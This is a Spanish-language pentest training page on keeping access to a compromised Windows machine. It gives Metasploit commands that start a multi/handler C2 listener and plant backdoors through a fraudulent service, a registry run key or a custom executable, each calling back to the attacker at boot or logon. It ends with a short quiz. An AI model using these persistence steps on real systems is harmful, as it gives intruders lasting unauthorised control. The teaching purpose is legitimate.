02.-Tipos de persistencia
En algunos escenarios, como test de intrusión o ejercicios de Red Team, es fundamental mantener un acceso persistente al sistema comprometido con el mayor nivel de privilegios obtenido.
Esto permite:
✅ Volver a acceder al sistema en cualquier momento.
✅ Extraer información adicional sin necesidad de explotar nuevamente la vulnerabilidad.
✅ Utilizar el equipo como pivote para acceder a otras redes internas.
Opciones Comunes de Persistencia¶
Existen diversas técnicas para establecer persistencia en un sistema comprometido. Las más utilizadas son:
🔹 Persistencia en servicio
🔹 Persistencia en el registro
🔹 Persistencia en cron/tareas automáticas
Cada una de estas técnicas permite que el sistema comprometido mantenga la conexión con el atacante incluso después de un reinicio.
Configuración de un Servidor C2 (Command & Control)¶
Para gestionar la persistencia, es necesario configurar un servidor C2 que reciba las conexiones entrantes.
Metasploit proporciona un servidor C2 llamado Multihandler, que permite manejar diferentes payloads de forma simultánea.
Comandos para configurar Multihandler en Metasploit¶
msf6 > use exploit/multi/handler
# Configurar el payload que utilizará la víctima
msf6 exploit (handler)> set PAYLOAD <ruta_payload>
# Configurar la dirección IP y puerto del handler
msf6 exploit (handler)> set LHOST <Dirección IP del handler>
msf6 exploit (handler)> set LPORT <Puerto del Handler>
# Permitir múltiples sesiones en el handler
msf6 exploit (handler)> set ExitOnSession False
# Iniciar el handler en segundo plano
msf6> run -jnz
Para comprobar si el handler está activo o detenerlo, se usa:
msf6> jobs
Persistencia con Meterpreter¶
Una vez establecido el servidor Multihandler, se puede proceder con la persistencia en la máquina comprometida.
Metasploit proporciona módulos de post-explotación que permiten establecer persistencia en sistemas Windows.
Módulos de persistencia en Metasploit¶
📌 Persistencia en Servicio
Este método crea un servicio fraudulento que inicia una conexión inversa cada vez que el sistema se enciende.
msf6 > use exploit/windows/local/persistence_service
msf6 exploit (windows/local/persistence_service)> set LHOST <Dirección IP del handler>
msf6 exploit (windows/local/persistence_service)> set LPORT <Puerto del Handler>
msf6 exploit (windows/local/persistence_service)> set SESSION <id de sesión meterpreter>
msf6 > run
📌 Persistencia en Registro
Modifica el registro de Windows para ejecutar una conexión contra el C2 cada vez que un usuario inicie sesión.
msf6 > use exploit/windows/local/registry_persistence
msf6 exploit (windows/local/registry_persistence)> set LHOST <Dirección IP del handler>
msf6 exploit (windows/local/registry_persistence)> set LPORT <Puerto del Handler>
msf6 exploit (windows/local/registry_persistence)> set SESSION <id de sesión meterpreter>
msf6 > run
📌 Persistencia con Ejecutable Personalizado
Permite definir un ejecutable malicioso que se ejecutará en cada inicio de sesión.
msf6 > use exploit/windows/local/persistence_exe
msf6 exploit (windows/local/persistence_exe)> set SESSION <id de sesión meterpreter>
msf6 exploit (windows/local/persistence_exe)> set REXEPATH <Ruta del ejecutable>
msf6 > run
Este método permite utilizar una shellcode personalizada, generada con msfvenom
.
Autoevaluación¶
📌 ¿Cuál es la tarea principal de las técnicas de persistencia?
1️⃣ Dejar un usuario permanente en el equipo comprometido. ❌ Incorrecto
2️⃣ Dejar una puerta trasera para poder seguir accediendo al sistema comprometido. ✅ Correcto
3️⃣ Evitar que el sistema remoto se pueda actualizar. ❌ Incorrecto
Si necesitas más detalles sobre persistencia avanzada o el uso de herramientas adicionales, dime y lo agrego. 😊🔐